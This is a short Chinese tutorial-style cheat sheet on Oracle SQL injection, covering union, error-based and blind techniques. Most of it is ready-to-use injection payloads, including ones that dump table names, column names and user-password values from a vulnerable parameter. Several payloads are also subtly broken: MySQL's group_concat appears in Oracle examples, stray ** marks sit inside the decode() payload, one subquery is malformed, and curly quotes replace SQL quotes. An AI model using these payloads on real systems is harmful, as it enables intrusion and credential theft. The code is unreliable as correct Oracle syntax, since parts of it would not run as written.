1. 联合查询注入
在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual。以下是orcale数据库查询的基本用法:
select table_name from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表
select column_name from all_tab_columns 查询出所有的字段
select column_name from user_tab_columns 查询出当前用户的字段
select * from v$version 查版本
rownum=1 类似于mysql中的 limit 0,1
DBA_TABLES 显示的是数据库中所有表(所有表DBA都可以操作)
ALL_TABLES 显示与当前用户可访问的表 (只要对某个表有任何权限,即可在此视图中看到表的相关信息)
USER_TABLES 显示当前用户拥有的表
报错流程
原始语句:select * from admin where id=1
//Orcale是强类型语言,因此要判断字段的类型
select * from admin where id=-1 union select null,null,null,null from dual
//判断回显位置
select * from admin where id=-1 union select 2,‘a’,‘b’,‘c’ from dual
//获取表名(假设为tablename)
id=-1 union select 2,(select wm_concat(table_name) from user_tables),‘b’,‘c’ from dual
//获取字段名(假设为user,password)
id=-1 union select 2,(select wm_concat(column_name) from user_tab_columns where table_name=‘tablename’),‘b’,‘c’ from dual
//获取单元格的值
id=-1 union select 2,(select wm_concat(user||’-’||password||’-’) from tablename),‘b’,‘c’ from dual
2. 报错注入
步骤类似于mysql报错注入;只是函数不同。
同时在使用是注意区分截断函数substr(),聚合函数wm_concat(),rownum的使用
dbms_xdb_version.checkin()函数
dbms_xdb_version.uncheckout()函数
dbms_utility.sqlid_to_sqlhash()函数
3. 盲注
ascii编码方式
id=1 and select ascii(substr(group_concat(name),1,1) from table) > 0
###decode()函数用法:
decode(条件,值1,翻译值1,值2,翻译值2,…值n,翻译值n,缺省值)
if(条件值1)>返回翻译值1,否则返回缺省值
id=1 and 1=(select decode**(substr(group_concat(user),1,1),‘B’,1,0**) from dual) --+
//如果是B就返回1,不是就返回0